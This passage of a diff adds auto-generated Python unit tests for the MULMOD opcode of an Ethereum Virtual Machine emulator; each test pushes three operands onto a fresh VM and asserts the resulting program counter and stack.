+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_205(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_206(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_207(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_208(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_209(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_210(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_211(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_212(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_213(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_214(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_215(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_216(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_217(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_218(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_219(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_220(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_221(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_222(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_223(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_224(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_225(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_226(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_227(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_228(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_229(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_230(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_231(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_232(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_233(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_MULMOD_234(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_235(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_MULMOD_236(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\t'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
